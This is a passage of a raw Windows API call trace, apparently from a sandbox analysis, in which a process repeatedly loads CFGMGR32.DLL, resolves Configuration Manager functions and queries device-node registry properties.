dwHighDateTime=0x1d9eb0c)) [0230.219] SetEvent (hEvent=0x248) returned 1 [0230.222] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.222] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.225] malloc (_Size=0x18) returned 0x196ef0d19c0 [0230.225] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0230.225] malloc (_Size=0x124) returned 0x196ef0d67b0 [0230.226] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0230.226] free (_Block=0x196ef0d67b0) [0230.226] malloc (_Size=0x48) returned 0x196ef0fbef0 [0230.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6a147f4e, dwHighDateTime=0x1d9eb0c)) [0230.226] SetEvent (hEvent=0x248) returned 1 [0230.229] malloc (_Size=0x18) returned 0x196ef0d1a80 [0230.229] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0230.229] free (_Block=0x196ef0d1a80) [0230.229] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0230.229] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0230.229] free (_Block=0x196ef0d1cc0) [0230.229] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0230.229] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0230.229] free (_Block=0x196ef0d1ba0) [0230.229] malloc (_Size=0x18) returned 0x196ef0d2080 [0230.229] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0230.229] free (_Block=0x196ef0d2080) [0230.230] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855960 [0230.230] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0230.230] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0230.230] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0230.230] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0230.230] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0230.230] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0230.230] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0230.230] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0230.230] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.231] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.231] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.231] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9c8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.231] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0230.232] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855960) returned 1 [0230.232] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.232] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.284] malloc (_Size=0x18) returned 0x196ef0d1e60 [0230.284] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0230.284] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0230.284] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0230.285] free (_Block=0x196ef0d67b0) [0230.285] malloc (_Size=0x48) returned 0x196ef0fb270 [0230.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6a1e11f6, dwHighDateTime=0x1d9eb0c)) [0230.285] SetEvent (hEvent=0x248) returned 1 [0230.288] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0230.288] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0230.288] free (_Block=0x196ef0d1bc0) [0230.288] malloc (_Size=0x18) returned 0x196ef0d2080 [0230.288] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0230.288] free (_Block=0x196ef0d2080) [0230.288] malloc (_Size=0x18) returned 0x196ef0d1c60 [0230.288] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0230.288] free (_Block=0x196ef0d1c60) [0230.288] malloc (_Size=0x18) returned 0x196ef0d19e0 [0230.288] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0230.288] free (_Block=0x196ef0d19e0) [0230.288] malloc (_Size=0x18) returned 0x196ef0d1a20 [0230.289] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0230.289] free (_Block=0x196ef0d1a20) [0230.289] malloc (_Size=0x18) returned 0x196ef0d20e0 [0230.289] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0230.289] free (_Block=0x196ef0d20e0) [0230.289] malloc (_Size=0x18) returned 0x196ef0d1da0 [0230.289] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0230.289] free (_Block=0x196ef0d1da0) [0230.289] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0230.289] SafeArrayGetDim (psa=0x196ef1f2770) returned 0x1 [0230.289] SafeArrayGetLBound (in: psa=0x196ef1f2770, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0230.289] SafeArrayGetUBound (in: psa=0x196ef1f2770, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0230.289] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa920 [0230.289] SafeArrayGetDim (psa=0x196ef1f2770) returned 0x1 [0230.289] SafeArrayGetUBound (in: psa=0x196ef1f2770, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0230.289] SafeArrayGetElemsize (psa=0x196ef1f2770) returned 0x8 [0230.290] SafeArrayGetElement (in: psa=0x196ef1f2770, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0230.290] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.290] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e28, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.290] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.291] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.291] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.291] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e48, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.291] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e50, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.292] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa920) returned 1 [0230.292] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0230.292] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.292] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.295] malloc (_Size=0x18) returned 0x196ef0d19a0 [0230.296] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.300] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0230.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a206b2f, dwHighDateTime=0x1d9eb0c)) [0230.300] SetEvent (hEvent=0x248) returned 1 [0230.304] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.304] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.304] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.305] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.306] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.307] malloc (_Size=0x18) returned 0x196ef0d1a20 [0230.307] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.308] malloc (_Size=0x48) returned 0x196ef0fb770 [0230.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a206b2f, dwHighDateTime=0x1d9eb0c)) [0230.309] SetEvent (hEvent=0x248) returned 1 [0230.312] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.312] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.315] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.315] malloc (_Size=0x18) returned 0x196ef0d1d00 [0230.315] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.315] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0230.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a22cf2b, dwHighDateTime=0x1d9eb0c)) [0230.316] SetEvent (hEvent=0x248) returned 1 [0230.318] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.318] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.319] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.319] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.319] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.319] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.319] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.319] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.321] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0230.322] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.322] malloc (_Size=0x48) returned 0x196ef0fb590 [0230.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a22cf2b, dwHighDateTime=0x1d9eb0c)) [0230.322] SetEvent (hEvent=0x248) returned 1 [0230.380] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.380] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 